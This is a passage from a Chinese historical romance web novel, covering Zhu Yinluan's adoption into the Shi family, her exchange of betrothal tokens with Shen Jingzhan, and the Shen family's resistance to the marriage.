可沈老太太完全放心不下,自从他年关说了要成亲,可他这几月毫无动静,年关都过了,春末将至,他却还是没说话,前些时日招呼都不打一声就去了豫州,沈老太太听到他离开的消息,第一反应便是沈景湛跑了。 豫州有什么大事?值得他跑一趟? 沈老太太连忙把沈侯爷和沈夫人给叫过来,让他们写信,把沈景湛喊回京城。 信倒是送了出去,没想到……沈景湛竟然自己回来了? 更没想到,他坐下之后便爽快道四日后会带着人来商榷婚事。 带着人来商榷婚事?! 沈老太太瞬间精神百倍,“真的吗?” “孙儿所言,自然是真的。” 沈老太太仔细观察着他的神色,倒是没看见欺瞒的调笑。 顿了一会,沈老太太问,“到底是哪家的姑娘啊?都到了这个节骨眼上还是不能说吗?” “这些时日你母亲父亲都在家中,你总要先说了名字,我们才好叫人上门去谈吧?否则临时通告,再上门,岂不仓促?” 他吃着茶不说话,姿态散漫又松弛优雅。 “这成亲的俗成礼节你可清楚?”沈老太太不得不换了话茬。 好在他总算说话,“孙儿已准备妥当,祖母身子既然还是不舒坦,必要听从太医的话好生修养。” “你这亲事一日不定,我这身子一日也好不了。”沈老太太冷哼一声,直接把话挑明。 “祖母.操.心太过,即便是孙儿娶了妻,您只怕也没法子恢复。”沈景湛淡声。 沈老太太却觉得不对劲,“你这话是何意?” “没什么意思。”沈景湛搁下茶盏起身。 “时辰不早了,您快些休息吧,孙儿告退。” 根本留不住人又套不出话,只能看着他离开被气到的沈老太太,“……” 翌日,气不过的沈老太太把沈夫人叫过来,沈老太太让她盯着沈景湛,务必早点把这个人给套出来,“我总觉得他在拖延家里。” 沈夫人不好劝自己婆母宽心,只得斟酌道,“听澜他应当不会。” “他就是欠人管训盯着,往前你和大郎都管得太少了。” 沈夫人只能赔笑,“您说得是,怪媳妇和夫君往日管得太少了。” “多看着他,别又被糊弄过去。” “是。” 祝吟鸾在家休整了一日,翌日之后跟着沈景湛出了门。 天知道沈景湛过来拜访之时,明芽打开门看到对方吓成什么样子。 这一路上想问又找不到空隙问,只能欲言又止。 还是姣惠见她憋得厉害,抓了个空,跟她说了一下,明芽知道后眼睛瞪得十分厉害,完全不知道说些什么了。 姣惠拍了拍她的肩膀,让她独自冷静一二。 在过来的马车之内,沈景湛便已经跟她说了,他今日要带她去拜府,认义父义母。 祝吟鸾没想到,沈景湛给她挑选的人会是沈家的远房旁系。 施家也是京城高门大户,门庭显赫,其主施寂乃镇北将军,前些年在战场上受伤了,如今提前致仕在家养伤,其夫人便是沈家的沈翕云,早年得封诰命,在京城贵眷当中很有身份,她膝下有两子三女,大部分都成家了。 沈景湛很周到,祝吟鸾说要备拜府贺礼,他说他全都筹备了,让她别担心,一会直接给了就是。 不仅如此,马车之内,他告知她那些是备办的贺礼,还给她放了一些宫内得来的糕点小食,让她先吃了垫垫肚子,一会到施家还要说会话才能用午膳。 其实沈景湛过来之前,她已经用 了早膳,虽然没有吃多少,可也不至于饿着,但他未免太体贴了。 祝吟鸾还从未受用过这样的关怀备至,除却明芽姣惠,没人对她尽心尽力,关心她的饮食起居。 明明前日已经稳定了心绪,不该对沈景湛有过多注意,可他太体贴,还是让她受用得不安,略微忐忑。 话虽如此,她却没有拂却他的好意,逼迫自己去慢慢适应,从而不在意。 她的雅音小筑只算是靠近高门世家宅院的附近,马车带着她驱向天子脚下的西南正中,这里要更安静,祝吟鸾不免紧张起来。 他忽而对着她笑,放下手中书卷,大掌拢着她的手背,轻轻拍了拍,“鸾儿不必紧张,我在你身侧。” 他说话就说话,怎么还要拍她的手背做安抚? 他的掌心好烫,祝吟鸾眼睫微动,强势按下心中波动,“……” 很快就到了施府,沈翕云早早便得到了信,带着小丫鬟在门口迎接。 祝吟鸾想象当中的尴尬和煎熬完全没有来临,沈翕云没用居高临下的审视目光看着她,分明第一次见面,却好似与她见过许多次般随和迁就,拉着她的手亲亲热热跟她说话,夸她生得柔美,性子一看就温婉。 招呼着两人往里走,还说嘱咐了膳房正在备办两人爱吃的菜色。 祝吟鸾闻言觉得奇怪,若说准备沈景湛爱吃的无可厚非,怎么连她的也一道筹备了,莫不是客套话?应当是的。 不仅仅是沈翕云在家,她还把两个女儿从娘家给叫回来了。 施从微和施从苑对祝吟鸾十分好奇,但也不敢露出任何轻视,一直客气友好。 祝吟鸾能够感受到对方话里行间的字斟句酌,不由在心中感叹,沈景湛还真是有面子,跟在他身边,她都有了尊荣。 就算对方有可能真的看不上她,面子上都无从叫人捕捉轻视。 这就是天子之下的滔天权势吗? 施将军很快就被人推着过来了,即便受伤久居家中养了多年,可依然能够看出他身上盘踞着久经沙场的威严气势。 沈景湛对他颇为敬重,他也很看重沈景湛,视线投过来祝吟鸾身上之时,客套之下,倒没说什么,只是看了有一会。 祝吟鸾由着他打量,“……” 施寂和沈翕云早就知道两人的来意,祝吟鸾送上沈景湛所准备的贺礼之后,沈翕云走过场说与她一见如故,想收她为义女,问她可愿意? 祝吟鸾抿唇颔首说愿意,跪下磕头拜义父义母。 施将军让她起来,沈翕云亲自上去搀扶。 “我家中三个女儿从小舞刀弄枪,活泼灵动,如今总算有个娴静女儿,看你第一眼我便觉得欢喜,好啊,好。” 沈翕云拍着祝吟鸾的手背,当下褪了一个手镯给她戴上。 祝吟鸾已经拿了一份礼,收下这昂贵的玉镯有些惶恐,她下意识看向沈景湛,他对她淡笑,眨眼示意她收下。 祝吟鸾才略微放松,“……” 在施家用了晚膳,祝吟鸾跟着沈景湛回去。 已经跟施家的说好了,她今日回去收整,明儿施家的过来接她过去住。 没想到今日如此顺利,祝吟鸾在心里长呼一口气。 看着手上透亮不菲的玉镯,她已经数不清什么时候有多久没被长辈看重夸耀了。 沈翕云好像的确很喜欢她,总摸她的头发和脸。 祝吟鸾思忖期间,旁边传来一道清润的男声,“鸾儿没有什么物件要赠予我吗?” “什么?”她猝不及防抬头看去。 对方在这时候递过来一个锦盒, “定情信物。” 第33章 第33章隐藏同心结下的黏腻。 低沉温柔的嗓声说出定情信物四个字,祝吟鸾怔在原地,一时之间竟不敢接。 她的视线从锦盒挪到了沈景湛的脸上。 对方面色一如往常,噙着淡淡的笑意。 他应当不是那个意思,祝吟鸾思忖着正要接过。 沈景湛果然在这时候开口与她解释道,“但凡成亲,男女之间总有个定礼,这便是我的赠物。” 果然,他没什么意思。 只是这定亲之物,他做什么要说成定情信物?虽然这样说也没错,可她总觉得怪怪的。 祝吟鸾收起心中的惊吓,她都不知道自己是怎么了,一惊一乍的。 算起来,又不是头一回成亲了,怎么还这样呢? 幸而沈景湛好性子,并不挑剔她总是处处疑问,也不曾嘲笑。 上一回成亲,虽然也算是嫁的好,可礼节之上却有不少的空缺。 家中只告知她得了好运气,长姐高嫁,与卫家的姻缘落到她的头上,填补周全四个字从未有人提过,除此之外的所有一切都是父亲嫡母.操.办的。 卫家送来的定礼,自然也是嫡母收走了。 她当时好奇,想问不敢问,嫁过去半年了才从卫如琢那边得知,原来是一块玉佩,至于玉佩的样子她至今没有得见。 这一次成亲,沈景湛竟然事先就把物件给她了。 祝吟鸾拿到锦盒,有些好奇里面是什么,却不敢打开。 沈景湛好似又看穿了她的意图,对着她道,“打开看看?” 祝吟鸾看了他一眼,动手之前又问,“可以吗?” “自然可以。” “在我面前,鸾儿不必如此小心谨慎。” 她心下一动,这句话没回,动手打开了锦盒。 里面是一支精美别致的发簪,簪头花纹繁复,可她却看出来了是海棠穿凤鸾的样子。 做得实在太好了,恐怕京城的饰楼都难以复刻,不提样式,单说发簪所用的制材,也是纯金叶,一眼看过去,真不知价值几何。 他择发簪为“定情之物”,是择她为正妻,发妻之意吗? 便只是“盟姻”而已,沈景湛却处处周到,所赠之物,毫无敷衍,祝吟鸾一时觉得负担。 他注意到她的情绪,问她怎么了,是不是不喜欢? “若鸾儿不喜,我可以再送别的。” “不……不是喜不喜欢,而是……” 她紧张之时便忍不住轻咬.下.唇瓣,原本就泛粉的唇被她的贝齿咬出痕迹,看得男人眸色微动。 她却毫无察觉,一心只在那簪子的身上,说是太贵重了。 “若我弄丢了,可怎么是好?”她恐怕赔不起。 想想嫡母来雅音小筑跟她算的那些账,她真怕日后跟沈景湛姻缘难续再次和离,沈家的人也带着账目来找她要价,别说什么其它的,就只是这只发簪的价钱,她都要凑一凑,就算是拿出来了,必然也会掏空她的身家。 “丢便丢了,若真如此,鸾儿要是中意这支发簪,我再给你打一支一样的。” 他的语气很随意,并不像她遇到过的人,字里行间都是银钱利益,可她跟沈景湛之间才是真的“利益”,不对吗? “我的定情信物已然给了鸾儿,那你的呢?” 男人悄无声息将话茬转移走,问她要东西。 祝吟鸾这才反应过来,“我……我没有准备。” 这些时日一直浑浑噩噩,即便是定了定心思,却依然觉得混沌,昨儿在家休息了许久,她只记挂着要去施家拜府的事情。 况且,这门姻亲,她攀得太高,下意识里并不敢指手画脚。 当初她想要问问和卫家成亲的细则,最后被嫡母给凶回来了,说有她.操.办,她还在担心什么?!如今自然也不敢开口,谁知道沈景湛来问她要定亲信物。 男人看着她没说话,祝吟鸾跟他解释了一下,随后又道,“我会给你筹备,但我给你的信物,若以贵重来比,定然无法跟你给我的相提并论。” “有便好了,我不在意这些。” “好。”祝吟鸾听到这句话,稍微放松了些许。 也是,只要有个信物就好,届时沈家的人问起,也好回了过去。 本来这定亲信物,就多是男女之间互相挑选,再由家中赠予。 沈景湛身居高位,什么样的贵重之物没见过?她无法给他同等的贵重之物,那便认真做了,全补心意。 祝吟鸾在心中思忖着要给他送些什么为好。 沈景湛却在这时候再次开口问她,“没思路吗?” “嗯?”她疑问。 “定情信物 要赠我些什么,鸾儿没思路吗?” 的确是有些没思路,祝吟鸾点头,她想了想,索性问他,“你可有什么想要的?” 循着他的心思问,先看看吧,反正沈景湛应当不会过分为难她,要贵重的,难做的。 再者说,他既然这样问了,会不会是要给她提供些思路呢? 祝吟鸾猜测得不错,她问了之后,沈景湛果然露出了意图。 只是他看着她的头发…… 祝吟鸾顺着他的视线看下来,有些不明白他的意思,她一头雾水,“你为何看着我的头发?” “我想要枚同心结。”他直言。 “同心结?”祝吟鸾后知后觉。 这同心结她知道的,可用彩绳编织,其中贯.穿.男女各自一缕发丝,以示夫妻永结同心好,恩爱两不离。 所以他才这样看着她的头发? “可以吗?”沈景湛见她意会,温柔笑问。 祝吟鸾心里觉得奇怪,但他都已经开口了,又不是什么贵重之物,她无外乎就是觉得太黏糊了些。 用她的发丝同他的纠葛在一处,好像是浓情蜜意的少男少女才能做出来的事情。 “若是鸾儿有顾虑,可与我直接说明。” “我想问你要同心结的缘由,是因为我二人家世不相配合,过些时日见亲长时,若要问起,我打算言明,是我心悦于你。” “所以做戏要做全套些。” 原来如此。 他都说了做戏,祝吟鸾自然没什么顾虑了,总归没有轻易嘛。 一枚同心结算什么? “可以。”她点头。 沈景湛好似变戏法般拿出了一缕他提前裁好的发丝和小剪子,一道递给她。 祝吟鸾原想回去剪,但他都准备齐全了。 她便接了过去,剪了她的一缕发,与他的放在一处。 “待我做好同心结,再给你。” “嗯,好。”他淡笑,如画的眉眼满是俊逸,笑起来更令人如沐春风,叫人忍不住看他,祝吟鸾连忙挪开眼。 很快就到了雅音小筑,跟昨日一样,他牵着她下来。 旁边的姣惠和沈景湛的随从已经见怪不怪,反而是明芽简直是欲言又止。 沈景湛回去之后,主仆三人.入了府,她便问祝吟鸾,这到底怎么回事啊? “就是今日姣惠与你说的那样,我与沈世子达成了共识,他娶我搪塞家中,我嫁他抵挡威胁。” 明芽一时哑然,“……” “小姐……” 她要怎么说? 看着小姐对那沈世子倒是没什么情意,可那沈世子对小姐,实在是太关怀备至了。 真的是结盟成亲,而不是别有用意? “明芽,我知道你担心,但这件事情我已思虑很久,你不用过分慌张,再者说,你先头也见过沈世子,不是觉得他不错吗?” “事已至此,奴婢也没什么好说的,只是觉得很奇怪,那沈世子怎么单寻上了小姐?” 祝吟鸾耐着性子和她说了一遍。 明芽却还是放不下心,她总觉得沈景湛的求娶太过于突然。 怎么那么巧啊? 见她还要再说,怕动摇了祝吟鸾的心思,姣惠及时上前,“不论怎么样,眼下要嫁给沈世子已经是定好的事了。” “小姐若是反悔,恐怕开罪沈家和施家,先走一步看一步吧?看着沈世子也不像是穷凶极恶之辈,总归日后有什么事,咱们也会保护好小姐的。”姣惠让她别说了,免得祝吟鸾心里担忧。 明芽听罢,只得点头,按下觉得奇怪的心思。 这一切虽然巧合,却也不是说不通,或许真的是她太敏锐了。 姣惠说得对,沈世子也不像是坏人。 祝吟鸾梳洗之后便让姣惠把家中的红绳取出来。 她坐于妆奁台前,灯盏烛火之下,认真用红绳合着两人的发串编同心结。 明芽和姣惠在旁边对视一眼,只觉得不可思议。 尤其是明芽,她道,“小姐,这真的是沈世子跟您要的吗?” “嗯。”祝吟鸾轻声。 “奴婢还以为高门世家的公子大人,会不喜欢这些女儿家的玩意呢。” 姣惠说,“哪有人会不喜欢啊。”只是要看对着谁吧。 她后话没说,主仆二人并不知晓其意。 同心结很快就串编好了,祝吟鸾打了个穗子,放入锦盒当中。 看着她的长发与沈景湛的串编在一处,其中红绳黑发,尤其柔和。 看着这枚同心结,方才对她要与沈景湛成亲之事生出一丝实感。 “……” 祝、卫两家那边的亲事也提上日程了,怕事多生变,祝沉檀在家中住久了卫如琢反悔,朱夫人挑了最近的良辰吉日。 如今忙得脚不沾地,摆弄着家里的一切。 深夜里还在跟管事的婆子们清点瓜果茶水的清单,桌椅板凳买的不是很齐全,要讨吉利的双数,前头那家不够数,正商榷着退了重新选一家的。 她翻看着册子,旁边管事的婆子害怕她看花了眼,在旁边说话提醒,谁家铺面在什么位置,有些什么好处,价钱是几何,掌柜的好不好相与回价。 看来看去,都差不多的,朱夫人择中选了一家最好的,毕竟这一次她女儿再嫁,关乎祝家脸面,当然要比之前都要好,旁人才会觉得祝家腾升,她面上也会有光,堵住那些要看热闹人的嘴。 刚合上册子,便听到那婆子说今儿去李家退桌椅听人说了一件奇事。 朱夫人原本没放在心上,随口一问什么事。 婆子道,“听闻侯府世子要娶妻了!” “侯府世子?……沈家?”朱夫人当即看过来。 “是啊,可不就是咱们京城当中最炙手可热的沈世子,御前那位中书大人!” 京城当然还有别的世子,可沈家只有一位。 “真是要娶亲了?可曾听说是哪家的贵女?”朱夫人忙着追问,手上的功夫活都顾不得。 到底什么时候的事情? 这些时日她忙顾着家里办婚宴,各家送来的帖子一应没空去,自然就没有听到风声了。 沈家娶亲可是大事啊! 祝家够不上沈家的门庭,只怕这沈世子真要成亲,祝家去不了,祝鸣生虽然在三省里面做事,可官职不显眼,三省的人太多了,沈家有脸面,不是什么人都发帖子的。 更何况,沈家和祝家没什么交情。 卫如琢蒸蒸日上,或许他能够弄一张请帖呢? 若是有这么一张请帖,能够去看看,见识见识高门是怎么办婚宴的,长了不说,露露面也是好的啊,至少是混进去高门行列了,日后出去赴宴,别人也能因此高看一眼。 “奴婢当时也奇怪呢,毕竟这沈世子多年没个动静,只以为是讹传,那铺子里的小二说八.九.不离十。” “因为沈夫人身边的小丫鬟得了命令从年关就一直在置换家中桌椅板凳,挑来挑去,京城但凡成色好些的都被买了,除此之外还订了不少,这才叫咱们家的桌椅板凳也缺了数目。” 朱夫人还是觉得不信,“置换桌椅板凳大手笔一些也没什么,怎么扯到成亲上?” “因为铺面小二问了那小丫鬟为何年关才过就要急着置换?小丫鬟道侯府要有喜事了,点名说大公子要成亲。” 大公子?沈家的大公子可不就是沈景湛了? “到底是谁家的贵女啊?”朱夫人急得不行。 沈家那边拿不到帖子,或许可以从女方家下手呢? 卫如琢升官,庞氏身子好了也常出去跟贵妇们周旋,或许她那边可以…… “没听说是哪家的,上头藏得很好,没有什么风声。” 朱夫人蹙眉,“……会不会是小丫鬟乱说……” 刚说完她自己也清楚不可能。 既然是沈夫人身边人放出去的消息,京城当中的人都开始议论了,沈家不可能不知道。 既然沈家的人都知道了,还不出来遏制,必然就是真的。 高门世家的人保密不谈,或许另外有用意,毕竟规矩多,忌讳也多。 “你多着人留意着,务必搞清楚是谁家的贵女。” 弄清楚,可不就好奉承了吗? “是。”婆子连忙点头。 朱夫人定下心对银钱数额,不免焦虑,成亲场面摆得大,花销出去的银钱是少不了的。 另有管事的进来回话,说庄子上的账目还没有收回来,只怕周转不开。 朱夫人生气,“怎么还不去催!” “家里的喜宴迫在眉睫,绝对不能出岔子!” “您消消气。” 说来说去都怪祝吟鸾,要不是那小蹄子突然甩脸和离,也不至于少了这么多银钱,毕竟她之前铺子里的营生都会按月送来一份,数目还不少,如今亏了银钱,便是卫家那头的便宜都占不到了。 外头看着祝家好,只有朱夫人知道操持这这么一大家子有多难。 说到祝吟鸾,这些时日她都还没有过问,连忙叫了人来回话,却找不到人了。 朱夫人等了好久,才等到消息,但这是个噩耗,“你说什么?” “官府出手那些泼皮无赖全都赶走了?” “是。”小厮低着头。 “既然那批人不中用就换另外一批啊!官府不是都打点过了,怎么还真的把我们的人给赶走了?” “泼皮无赖那边坐地起价。”小厮比了一个数目,看得朱夫人脸都黑了。 “官府那边的人说,陛下如今查得厉害,御史台的人已经进入有司衙门肃查了,邢大人方才被摘了乌纱帽,他们可不敢接咱们家的案子。” 朱夫人气得不行,脸色一阵黑一阵青,“那之前打点出去的银钱就收不回来了?” “人都找不到了。” 砰—— 朱夫人拂袖摔了桌上的东西。 “夫人息怒。”婆子把东西给捡起来,问她是不是祝吟鸾找了人帮忙?要不要去查查? 官府那边打点得好好的,祝吟鸾的铺子都关停了一个,眼看着铺子就要到手了,怎么在节骨眼上出这个事情? 朱夫人嗤笑,“她能够有什么能耐?只是运气好罢了。” 自幼养在膝下的庶女,她再清楚不过了,性子怯懦,往日里连个手帕交都没有,出嫁之后天天都在卫家,唯一跟她关系近一些的,就是旁氏的小女儿卫明烟。 卫明烟生了小孩,这一胎伤了身子,如今还在养着,哪里知道家里出了什么事情? 就算是她要管,庞氏也一定会想方设法去制止。 所以不可能会是卫明烟。 既然卫明烟都没有找,祝吟鸾更没有什么助力了。 “罢了,且先放一放,让她再过几天好日子,待殿试过了,檀儿和卫如琢婚事办完,我再腾出手料理她。” 不过就是一个毫无助力的庶女,没人在意,就算是死了,能有谁给她出头? “派两个家里的人过去盯着些,别叫她出什么岔子,闹出事情来。”即便是知道祝吟鸾不敢,但还是要防备。 暂时没办法从祝吟鸾身上拿银钱,看来要另外想法子了,否则根本周转不过来啊。 “你之前说放印子钱少要利子的是哪家……” 祝吟鸾才到雅音小筑没待多久,东西又少,很快便收整好了。 更主要的是,沈翕云让她不必带什么衣裙罗褥,那边一应都给她置办了,可祝吟鸾总觉得受之有愧,奈何架不住沈翕云这位义母的热情。 她亲自带着人过来接祝吟鸾。 今日没有沈景湛在,独她和沈翕云一道坐马车,心里还是有些慌的,不敢乱说话,沈翕云问什么她就答什么。 幸而对方和缓,多问些家常话,譬如她的口味,喜欢什么颜色的料子,爱什么样式的罗裙…… 没有提到卫家,祝家之类的事情。 也没说她可怜,真真就是拿她当女儿一般对待。 到施家以后,领着祝吟鸾先去看她的院子,让小丫鬟安置行囊。 虽然也就过来住一些时日,但院子收拾得特别好。 且不说环境清幽,就说院子的布局,真的好大。 比她在祝家甚至是卫家的院子都要大。 卫家的院落,便是庞氏所居的停雨阁都比不上卫如琢住的地方宽敞,如今她在施家单独的院子,竟然比那地方还要大,不愧是世家高门啊。 “这地方我前些时日叫人收整的,你且看看可还喜欢?若有觉得不好的地方,只管跟母亲说,我让匠人修改添置。”沈翕云拉着她的手。 祝吟鸾回,“很好了,并没有什么要修整的地方,也…正是因为太好了。女儿受之有愧。” “讲那些个做什么?”沈翕云叫她别见外。 领着她看了一下院落,小丫鬟来传话说饭菜摆好了。 两人先去了前厅用膳,今日沈翕云的大女儿施从微倒在,二女儿施从苑娘家有事便回去了。 施将军也出来陪着用膳,桌上倒也其乐融融。 用过早膳,沈翕云和施从微带着她在施家后院散步消食,也是领她认路。 沈翕云说得不错,施从微的性子十分豪爽,昨儿初次见面她还端着,今日三人在后.庭闲逛,祝吟鸾看出了不少端倪,倒跟卫明烟的性子有几分相似。 这一日过得平顺,祝吟鸾的心渐渐放下来,夜里,竟也睡得舒坦。 翌日,沈翕云同她说,后日沈家的人要过来了,她给她裁了新的衣裙,让她去试试,瞧瞧合不合身,若不合适得改改,届时穿了好见客。 听到一个沈字,祝吟鸾不免紧张,她在想,沈景湛竟已跟沈家的人都说了么? 沈家的人要过来,算是上门提亲。 既如此,必然知道了她的身份,那会不会介意喧闹? 看出她的紧张,沈翕云安抚道,“景湛既然中意你,铁了心思要娶你,必然会摆平家中人。” “你也且放心,沈夫人是个面善心软的,并不凶恶,真有什么事情,我作为母亲,自然也会帮着你。” 祝吟鸾只能笑着接受了沈翕云的安抚,“多谢母亲。” 她只在心里祈愿,沈景湛那边不要闹得太厉害。 沈家的确不太安生。 正厅之内,人人缄默。 沈夫人左右为难不知道说什么打圆场比较好。 沈老太太脸色难看,沈侯爷眉头紧皱。 唯独当事人气定神闲,一派的坦然自若,端着盏子喝茶。 “我不同意这门亲事。”沈老太太又说了一遍。 “你就算要娶小门户的姑娘,也得找个清白的人户,这嫁过人,还嫁了四年多,方才被人休弃的女子,怎么能进我沈家门?” 沈老太太冷笑,当初她在沈嘉显那边察觉到苗头问沈景湛是不是这个人的时候,他说什么来着? 哦,他反问她胡说八道什么?一个有夫之妇能跟他有什么关系? 好啊,这转过头就要把人给娶进门了。 沈老太太今日得到的消息,那祝家女和离,不,被卫家休弃还没超过一个月,他就要把人给迎进门了? “不可能。”沈老太太又说了一遍,“这件事情没有商量的余地。” “母亲……您莫生气,太医说了,您的身子骨不好,要多多保重爱惜。” 沈夫人本来是好心哄劝,谁知道沈老太太借题发挥,假意咳得厉害,几乎是上气不接下气。 沈景湛却没什么动作,看着她咳,面色不见丝毫退让和担忧。 沈夫人也不敢多说什么,夹在.儿子和婆母中间实在不好帮腔,主要手心手背都是肉。 儿子宣说他要娶亲的时候,沈侯爷问他为何要娶这名女子。 他说喜爱。 既然是儿子喜爱的人,她怎么拦? 这都十几快二十几年了,哪里能从沈景湛嘴里听到他说喜爱什么? 这喜爱的还是个活生生的人呐!姑娘家! 也不知那祝家女是何方神圣? 沈夫人只能把求救的目光投向沈侯爷。 “听澜,好好跟你祖母说话。”沈侯爷皱着眉头发声。 “瞧瞧你生的好儿子。”沈老太太一手指着沈景湛,一手捂着心口,面色表现得十分痛苦。 “祖母身子不适,孙儿已经让人去请太医了。” “这门亲事板上钉钉,我已跟圣上言明,他允我娶祝家女进门。” “你……你到底喜欢她什么啊?” 沈老太太听到圣上两个字,总算安静了些许,反问沈景湛着了什么魔? “父亲母亲祖母皆在此,儿子也不隐瞒,多年以前 儿子对她一见倾心,钟情不移。” “但当年为朝廷事,与她错失良缘,儿子遗憾不已,原打算终身不娶,不料她会与卫家和离,她如今也是孑然一身,儿子必要娶她进门,携手一生。” “你……”沈老太太被噎回来了,一时之间竟不知道说什么。 主要是他先斩后奏,不仅筹备了一切,甚至还跟圣上说了,若是悔亲,那圣上面前如何交待? 更重要的是他后面这一席话。 他说什么惦记人家姑娘许多年了。若是她没与卫家的和离,便要终身不娶? “你是在威胁祖母与你父亲母亲吗?”沈老太太冷着脸。 “孙儿并无此意。”沈景湛不卑不亢,目不斜视,语气听着平和却不容人置疑。 旁人一看一听,他就是吃了秤砣铁了心。 沈老太太找不到话说什么了,这时候小厮禀告说太医来了。 沈夫人连忙吩咐人请进来。 沈侯爷看了一下自家儿子,起身道,“跟我去书房。” 沈景湛起身嗯,作揖辞别沈夫人和沈老太太。 书房内,沈侯爷也不知说什么,只问他,“你是想好了?” “是,儿子要娶她。” 男女之间,情之一字,沈侯爷也不知说什么。 沈家位居京城高门,他这儿子如今建树也有了,在朝廷已经算是站稳脚跟,他的姻缘真要择选,还不能选门当户对的,免得陛下忌惮,觉得功臣结势.联.合。 前几日沈侯爷还跟沈夫人提,若沈景湛说春末要娶亲的事情是缓兵之计,那就让沈夫人挑个中规中矩的清白人家,性情温婉些的,迎入沈家就是了。 没想到,他竟然真的要娶亲了。 那女子家世什么都不出挑,听老太太说,也就容貌上乘。 可沈景湛是贪图她的美色吗?他这儿子不近女色,哪里是贪图美色的人? 京城美女如云,真要以美来选,多得是人。 既无利可图,那便是真的喜爱了。 这门亲事若成了,祝家女的身世瞒不住的话,必然举城震惊,可……要顺着老太太的意思“棒打鸳鸯”?不许他娶亲。 沈侯爷倒是想要拆散,但发现,他做不到。 沈景湛势大,已经不好弹压,真闹得很僵,只会坏了父子关系。 斟酌来去,沈侯爷道,“你如今前程似锦,已然不需要岳家提携,既喜欢,又筹备了许久,那便娶吧。” “但你也要清楚,若日后朝政出事,她的母家不强,就帮不上你什么了。” 沈侯爷知道沈景湛给她找了个母族,但依然是沈家的势力,这座靠山真的只是给祝家女找了靠山,对沈家有何益处? 非说益处,无非就是……亲上加亲。 “儿子清楚。”沈景湛颔首,“多谢父亲。” “祖母那边还需父亲和母亲多帮儿子劝劝,后日去施家,不要叫她受委屈。” “还没进门,你就这样维护了?”沈侯爷看似训话,实则调侃。 沈景湛只是笑笑,没有说话,算是默认。 “你祖母那边,我会让你母亲多劝劝。” “多谢父亲。”他做了一个揖礼。 “嗯。”沈侯爷看着他点头。 沈老太太的身子自然无碍,只是她依然不喜欢,不愿意让祝吟鸾进门。 但这件事情,沈景湛一力做主,沈侯爷都劝不住,沈老太太总不可能进入宫内面圣,拦都拦不住。 沈夫人听沈侯爷说后,也不知讲些什么,她历来也管不住这个出色的嫡长儿子。 只能在心里盘算着筹备后日去施家的贺礼。 “听澜喜悦此女,你在礼节上万不能怠慢。”沈侯爷跟沈夫人嘱咐道。 “夫君相信听澜喜悦她?”沈夫人疑问。 “若无喜爱,也不会如此上心筹备了。”沈侯爷道。 “也不知祝家女品性如何?”沈夫人担心。 倒也不是嫌弃小门小户的姑娘不好,只怕她担不起世子正妻的大梁。 今儿看了画像,样貌倒是和顺。 可她若无问题,怎么会被卫家休弃?甚至连娘家都不要她回去了,她自身就没什么问题吗? 沈夫人只敢在心里胡思乱想,不敢直接挑明。 说出来,恐怕不好。 “后日看看再说,听澜眼界一向好,能得他看中的人,想来应该不错吧。”沈侯爷这样认为。 沈夫人哑然,庆幸自己适才没有将心中所想说出来。 后日很快就到了,期间沈老太太一直没松口,也没有露面。 得知沈侯爷和沈夫人备了厚礼即将上施家的门,两人晨起过来请安,直接闭门不见客。 沈侯爷和沈夫人只能面面相觑,隔着门扉在外请了安,便离开了。 沈景湛没有住侯府,他在门口等候。 沈夫人出门看到明显收拾过了,越发显得身高腿长,丰神俊朗到令人忍不住看过去,瞧上便挪不开眼的儿子…… 眼前一亮之时,又觉得,这只怕不是一点点喜爱吧? 第34章 第34章非她不娶,神挡杀神,佛挡杀…… 真要是一点点喜爱,何至于如此收整? 沈景湛几年前另府别住,沈夫人倒也时常能够见到他,可从未见他这般刻意收整过,他一向清简素雅,少用昂贵的金珠玉缀堆砌。 今儿上.到束发玉冠,下至腰间玉坠,尤其这一身绛紫色圆袍,通身彰显世家公子的韵流贵气,更别提他还生了一张惹人注目的俊脸。 往日说什么收整?就是沈老太太找了相看的姑娘上门过府游玩,他连面都不露,着人去请了,还说不得空。 回回搬出朝廷公务的借口,沈老太太气得不轻,却不敢反驳让他丢下手里的事情来这边。 在马车之上,沈夫人忍不住跟沈侯爷提了这件事情,问他有没有看出来沈景湛今日特意收拾了? “嗯。”沈侯爷翻着兵书点头,“看起来的确是比前些日更朗利清俊些。” “那女子究竟有何妙处?竟让他如此费心思。”沈夫人对祝吟鸾越来越好奇,忙不迭催促马车快一些,她赶不及要看对方。 施家这边也在筹备早膳。 早就收到了沈家登门提亲的消息,祝吟鸾心下不由紧张起来。 沈侯爷和沈夫人都来了,一会见面,真不知是什么样子。 她低头看着身上堪称耀眼夺目的鸢尾花戏蝴蝶样式的罗裙,总觉得有些许太张扬了。 可沈翕云说,这样很好。 “你往日里的衣衫都太素了,样子生得如此好,年岁又轻,合该好生打扮打扮。”她还给她送了一幅头面,今日特地嘱咐了小丫鬟给她簪上,口脂上的也比往日要浓许多。 祝吟鸾还是不自在,沈翕云怕她偷偷擦掉,一直让她跟在身边,不叫她跑掉。 沈家的人来得早,膳食还没有准备好,守门的侍卫便上来通传说沈家的人到了。 祝吟鸾心中不免一慌,但在卫家多年,她很会隐藏情绪,并没有露出任何马脚。 沈翕云留意着她的神色,倒是满意她“临危不乱”。 施从微在膳房盯着,祝吟鸾跟在沈翕云和施将军后面去迎接。 越靠近施家大门,她越紧张。 但避无可避。 路程虽不短,但很快就走到施家大门了。 祝吟鸾远远便看到了三抹伫立于马车仆从之前的身影。 沈将军身量很高,年近五十了,依然端正健朗,沈夫人要更年轻些,即便年岁渐长,依然不损她姣好容貌,祝吟鸾也听说过,在多年以前,沈夫人是名动京城的美人。 两人不愧是京城世家有名的大人与贵眷,身上的气势很足,若是不知其身份,单是见了两人,也会叫人觉得二人并不简单。 她与沈景湛对视了一眼。 男人今日的俊朗更盛以往,看向她时眉眼温柔含笑,祝吟鸾接收他的目光,悄悄挪开眼,“……” 悄无声息观察对面的同时,祝吟鸾也感受到了对面投.射.过来的目光,尤其强烈的打量,是沈夫 人和沈侯爷。 她没有与之对视,因为沈家在上位,如此正视会显得不尊重。 沈将军那边还好一些,沈夫人下马车的时候视线就投过来了,简直令人如芒在背,同沈翕云互见了礼数之后,她的目光更是直接放到了沈翕云旁边的祝吟鸾身上,看了她好一会。 祝吟鸾始终半垂眼睫,轻言细语跟两人请安。 旁边的沈景湛她也不敢再看,安安静静接受沈夫人和沈侯爷的打量,没有露出一点慌张。 沈侯爷倒是爽快说不必客气。 沈夫人许久之后,方才接了她的礼数,不咸不淡,“嗯。” 沈翕云打圆场,“进去说话吧?” 一行人往里走。 长辈们在前,祝吟鸾和沈景湛落在后面。 